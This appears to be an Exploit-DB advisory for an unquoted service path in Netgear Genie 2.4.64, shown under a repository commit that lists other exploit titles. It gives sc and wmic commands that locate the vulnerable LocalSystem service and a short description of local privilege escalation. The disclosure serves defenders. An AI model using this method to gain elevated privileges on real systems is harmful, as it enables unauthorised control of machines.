358c35770a
17 changes to exploits/shellcodes Netgear Genie 2.4.64 - Unquoted Service Path OpenClinic GA 5.194.18 - Local Privilege Escalation Gestionale Open 11.00.00 - Local Privilege Escalation Hikvision Web Server Build 210702 - Command Injection WordPress Plugin TaxoPress 3.0.7.1 - Stored Cross-Site Scripting (XSS) (Authenticated) Engineers Online Portal 1.0 - File Upload Remote Code Execution (RCE) Build Smart ERP 21.0817 - 'eidValue' SQL Injection (Unauthenticated) Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) Balbooa Joomla Forms Builder 2.0.6 - SQL Injection (Unauthenticated) Online Event Booking and Reservation System 1.0 - 'reason' Stored Cross-Site Scripting (XSS) Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) Engineers Online Portal 1.0 - 'multiple' Authentication Bypass Engineers Online Portal 1.0 - 'id' SQL Injection WordPress Plugin Media-Tags 3.2.0.2 - Stored Cross-Site Scripting (XSS) WordPress Plugin Ninja Tables 4.1.7 - Stored Cross-Site Scripting (XSS) Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2) phpMyAdmin 4.8.1 - Remote Code Execution (RCE)
35 lines
No EOL
1.2 KiB
Text
35 lines
No EOL
1.2 KiB
Text
# Exploit Title: Netgear Genie 2.4.64 - Unquoted Service Path
|
|
# Exploit Author: Mert DAŞ
|
|
# Version: 2.4.64
|
|
# Date: 23.10.2021
|
|
# Vendor Homepage: https://www.netgear.com/
|
|
# Tested on: Windows 10
|
|
|
|
C:\Users\Mert>sc qc NETGEARGenieDaemon
|
|
[SC] QueryServiceConfig SUCCESS
|
|
|
|
SERVICE_NAME: NETGEARGenieDaemon
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 3 DEMAND_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : C:\Program Files (x86)\NETGEAR
|
|
Genie\bin\NETGEARGenieDaemon64.exe
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : NETGEARGenieDaemon
|
|
DEPENDENCIES :
|
|
SERVICE_START_NAME : LocalSystem
|
|
|
|
Or:
|
|
-------------------------
|
|
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr
|
|
/i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
|
|
|
|
|
|
#Exploit:
|
|
|
|
A successful attempt would require the local user to be able to insert
|
|
their code in the system root path undetected by the OS or other security
|
|
applications where it could potentially be executed during application
|
|
startup or reboot. If successful, the local user's code would execute with
|
|
the elevated privileges of the application. |